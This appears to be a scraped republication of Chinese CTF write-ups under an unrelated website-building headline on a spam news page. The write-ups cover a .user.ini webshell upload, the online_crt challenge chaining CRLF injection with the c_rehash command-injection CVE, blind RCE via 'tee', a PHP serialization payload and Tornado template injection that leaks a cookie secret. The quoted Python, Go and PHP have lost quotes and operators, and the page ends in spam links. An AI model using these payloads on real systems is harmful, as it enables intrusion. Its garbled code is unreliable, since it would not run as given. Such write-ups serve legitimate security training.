当前位置: 首页 > news >正文

建设网站的重要性电子商务营销手段

建设网站的重要性,电子商务营销手段,公司网站怎么备案,食品公司建设网站目的[suctf 2019]checkin 利用了几种方式#xff0c;发现都不行 1是修改mime类型#xff0c;2是修改php标签为js标签#xff0c;3是修改文件后缀 在试试用配置文件来上传 发现上传.user.ini文件成功 发现上传成功 上传的png图片 访问上传路径发现可以访问#xff0c;上马成…[suctf 2019]checkin 利用了几种方式发现都不行 1是修改mime类型2是修改php标签为js标签3是修改文件后缀 在试试用配置文件来上传 发现上传.user.ini文件成功 发现上传成功 上传的png图片 访问上传路径发现可以访问上马成功 ls / cat /flag [CISCN 2022 初赛]online_crt  看标签是一个cve漏洞 CVE-2022-1292的分析 - 先知社区 扫后台扫出来一个网页 [CISCN 2022 初赛]online_crt__rev1ve的博客-CSDN博客 给了源码附件 app.py源码 import datetime import json import os import socket import uuid from cryptography import x509 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.x509.oid import NameOID from flask import Flask from flask import render_template from flask import requestapp Flask(__name__)app.config[SECRET_KEY] os.urandom(16)def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):root_key rsa.generate_private_key(public_exponent65537,key_size2048,backenddefault_backend())subject issuer x509.Name([x509.NameAttribute(NameOID.COUNTRY_NAME, Country),x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),x509.NameAttribute(NameOID.LOCALITY_NAME, City),x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),x509.NameAttribute(NameOID.COMMON_NAME, CommonName),x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),])root_cert x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(root_key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(datetime.datetime.utcnow()).not_valid_after(datetime.datetime.utcnow() datetime.timedelta(days3650)).sign(root_key, hashes.SHA256(), default_backend())crt_name static/crt/ str(uuid.uuid4()) .crtwith open(crt_name, wb) as f:f.write(root_cert.public_bytes(serialization.Encoding.PEM))return crt_nameapp.route(/, methods[GET, POST]) def index():return render_template(index.html)app.route( , methods[GET, POST]) def upload():Country request.form.get(Country, CN)Province request.form.get(Province, a)City request.form.get(City, a)OrganizationalName request.form.get(OrganizationalName, a)CommonName request.form.get(CommonName, a)EmailAddress request.form.get(EmailAddress, a)return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)app.route(/createlink, methods[GET]) def info():json_data {info: os.popen(c_rehash static/crt/ ls static/crt/).read()}return json.dumps(json_data)app.route(/proxy, methods[GET]) def proxy():uri request.form.get(uri, /)client socket.socket()client.connect((localhost, 8887))msg fGET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: closeclient.send(msg.encode())data client.recv(2048)client.close()return data.decode()app.run(host0.0.0.0, port8888) gpt的解释 此代码似乎是定义 Flask Web 应用程序的 Python 脚本。让我们来看看主要组件及其功能 导入语句该脚本导入其功能所需的多个模块和包包括 、 、 、 、 和 。datetimejsonossocketuuidcryptographyFlask Flask 应用程序设置使用 创建 Flask 应用程序的实例并使用 设置应用程序的密钥。Flask(__name__)app.config[SECRET_KEY] get_crt函数此函数根据提供的输入参数生成 X.509 证书SSL/TLS 证书。它使用该库生成私钥、生成证书并将其保存到文件中。返回生成的证书的文件路径。cryptography 路由定义 /此路由与应用程序的根 URL 相关联。它使用 呈现名为“index.html”的 HTML 模板。render_template/getcrt此路由与 URL 路径“/getcrt”相关联并接受 GET 和 POST 请求。它从请求国家/地区、省、市、组织名称、公用名、电子邮件地址中检索表单数据并使用提供的数据调用函数。然后将 的返回值作为响应返回。get_crtget_crt/createlink此路由与 URL 路径“/createlink”相关联并接受 GET 请求。它会生成一个 JSON 响应其中包含有关“static/crt/”目录中生成的证书文件的信息。/proxy此路由与 URL 路径“/proxy”相关联并接受 GET 请求。它从请求中检索 URI 参数并在端口 8887 上与 localhost 服务器建立套接字连接。它向指定的 URI 发送 HTTP GET 请求并将接收到的数据作为响应返回。 app.run()此方法启动 Flask 开发服务器允许应用程序侦听所有网络接口 host“0.0.0.0” 和端口 8888 上的传入请求。 总之此脚本定义了一个 Flask Web 应用程序该应用程序提供用于生成 X.509 证书、呈现 HTML 模板以及充当代理服务器以向指定 URI 发出 HTTP 请求的功能。 分析一下采用的是flask模板总计4个路由 /根目录返回一个index.htmld的界面也就是我们开题看到的界面     /getcrt路由配合getcrt函数用来生成X509证书了解一下就行它会根据我们提交的信息创建一个.crt的证书文件存入static/crt/目录下     /createlink路由用来建立一个与我们刚才生成的.crt证书的链接去访问它的内容     /proxy路由用来建立一个内网 8887端口的连接与go源码部分进行对接并将发送一段请求信息给go源码的部分进行处理 go源码 package main import (     github.com/gin-gonic/gin     os     strings ) func admin(c *gin.Context) {     staticPath : /app/static/crt/     oldname : c.DefaultQuery(oldname, )     newname : c.DefaultQuery(newname, )     if oldname || newname || strings.Contains(oldname, ..) || strings.Contains(newname, ..) {         c.String(500, error)         return     }     if c.Request.URL.RawPath ! c.Request.Host admin {         err : os.Rename(staticPatholdname, staticPathnewname)         if err ! nil {             return         }         c.String(200, newname)         return     }     c.String(200, no) } func index(c *gin.Context) {     c.String(200, hello world) } func main() {     router : gin.Default()     router.GET(/, index)     router.GET(/admin/rename, admin)     if err : router.Run(:8887); err ! nil {         panic(err)     } } 这一段代码比较重要的就是只要绕过if语句就可以修改我们指定的.crt后缀的证书文件名  第一个判断直接将路径中的/替换为%2f即可通过第二个要求HOST为admin  本题漏洞 出在/createlink这个路由下的c_rehash指令c_rehash是openssl中的一个用perl编写的脚本工具用于批量创建证书等文件 hash命名的符号链接是当用户可控文件名时的命令注入  在openssl中的c_rehash存在命令注入, 允许以c_reash脚本的权限执行命令 先访问/getcrt生成一个证书 9eaf2906-aea8-4bf7-9d5f-14c266c18856.crt 然后通过访问 /proxy路由来打通与内容 go源码业务部分的连接修改我们的证书文件名并加上我们的命令执行RCE payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果 uri是被直接拼接进去的因此存在CRLF漏洞我们就可以篡改HOST为admin从而满足go server修改文件名的要求。 CRLF注入漏洞、URL重定向、资源处理拒绝服务详细介绍附实例_crlf漏洞_ranzi.的博客-CSDN博客 CRLF注入漏洞响应截断攻击实战_crlf漏洞_归去来兮-zangcc的博客-CSDN博客 访问/proxy同时抓包修改请求方式为GET以及在uri参数后回车两次 抓get包然后利用bp改成post最后再手改为get请求发送 访问/createlink路由执行 c_rehash命令进而触发命令执行使payload生效 payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果 访问同目录static/crt/flag.txt 拿到flag信息  [SWPUCTF 2023 秋季新生赛]RCE-PLUS  题目提示是无回显的rce之前做就是用tee命令写入文件 ?cmdls / | tee 1.txt  ?cmdcat /fl\ag | tee 1.txt  [CISCN 2023 华北]ez_date 代码审计 定义了公共变量a,b,file a不等于b但是ab的MD5和sha1值相等如果为true那么将file值传入date函数并赋值给变量content使用 uniqid() 生成一个唯一的标识符并将其与 .txt 扩展名拼接为文件名赋值给变量 $uuid最后就是进行正则匹配读取文件  preg_replace(/((\s)*(\n)(\s)*)/i, , $data)此函数对字符串执行正则表达式替换。使用的正则表达式模式是 它匹配空格字符和换行符的任意组合。替换参数是一个空字符串这意味着匹配的模式将被替换为任何内容即删除。$data/((\s)*(\n)(\s)*)/i ?php class date{     public $a;     public $b;     public $file; } $Anew date(); $A-a1; $A-b1; $A-file/f\l\a\g; echo base64_encode(serialize($A)); ? 得到flag [护网杯 2018]easy_tornado  点flag.txtc出现了flag的文件 hint.txt welcome.txt 查了资料之后才想起来 Tornado模板注入 - 先知社区 tornado render是python中的一个渲染函数也就是一种模板通过调用的参数不同生成不同的网页如果用户对render内容可控不仅可以注入XSS代码而且还可以通过{{}}进行传递变量和执行简单的表达式。 url形如 http://35848a5d-982a-45c9-a772-1b59e317746f.node3.buuoj.cn/file?filename/flag.txtfilehash32c8987c242bb2c5f0b0da175550dab6 根据提示应该payload应该是file?filename/fllllllllllllagfilehashmd5(cookie_secretmd5(filename)),因此现在需要找到cookie_secret 将filename替换为/fllllllllllllag 后发现报错修改/error?msgError错误信息中的msg页面也跟着变   根据render提示应该是模板注入但存在过滤ORZ 这里用到的是handler.setting对象 handler 指向RequestHandler 而RequestHandler.settings又指向self.application.settings 所有handler.settings就指向RequestHandler.application.settings 传递error?msg{{ handler.settings }}得到 得到secret后就是计算访问flag文件的hash获取flag cookie_secreteb535b6a-633c-4b3d-a321-8d1637396e1d 脚本 import hashlibs1(hashlib.md5(/fllllllllllllag.encode())).hexdigest() print((hashlib.md5((eb535b6a-633c-4b3d-a321-8d1637396e1ds1).encode())).hexdigest()) 得到hash值 访问flag文件得到flag
http://www.zqtcl.cn/news/524822/

相关文章:

  • 快速微信网站开发定制网站建设费用预算
  • 网站制作叫什么知名网站建设制作
  • 网络营销网站建设公司h5应用
  • 网站开发合同要上印花税吗南江红鱼洞水库建设管理局网站
  • 疏通下水道网站怎么做wordpress 恢复初始化
  • 电脑商业网站怎的做软文推广渠道
  • 自己做网站需要买什么如何做微信商城网站
  • 有了网站开发app是不是更容易自建网站管理
  • 网站将要准备建设的内容有哪些做外贸有效的网站
  • 网站设计博客网站内容添加
  • 网站建站行业新闻微盟开店怎么收费
  • 网站的建设参考文献郑州网站建设中国建设建设银行
  • 重庆那些公司的网站是网易做的电信100m光纤做网站
  • 网站怎么设计产品营销策略包括哪些内容
  • 天元建设集团有限公司破产重组河源seo排名
  • 网站权重什么意思seo的搜索排名影响因素有
  • 建设报名系统是正规网站吗计算机培训班出来好找工作吗
  • 网站上的文章用秀米可以做吗宁波外客网络科技有限公司
  • 网站底部导航代码成品视频直播软件推荐哪个好一点ios
  • 上海电商网站开发公司垫江网站建设价格
  • 门户网站建设存在问题与不足商城网站开发项目文档
  • wordpress建站方便吗wordpress加入海报功能
  • 网站名称注册保护2018wordpress主题
  • 类似享设计的网站企业信息系统公示
  • 如何学习网站开发酒店网站源码
  • 怎么用nas做网站服务器WordPress云虚拟空间
  • 网站设计 ipad企业品牌推广宣传方案
  • 织梦网站怎么更换模板济南建设厅网站
  • 用wordpress仿站专业做俄语网站建设司
  • 做暧暧网站网站开发 思维导图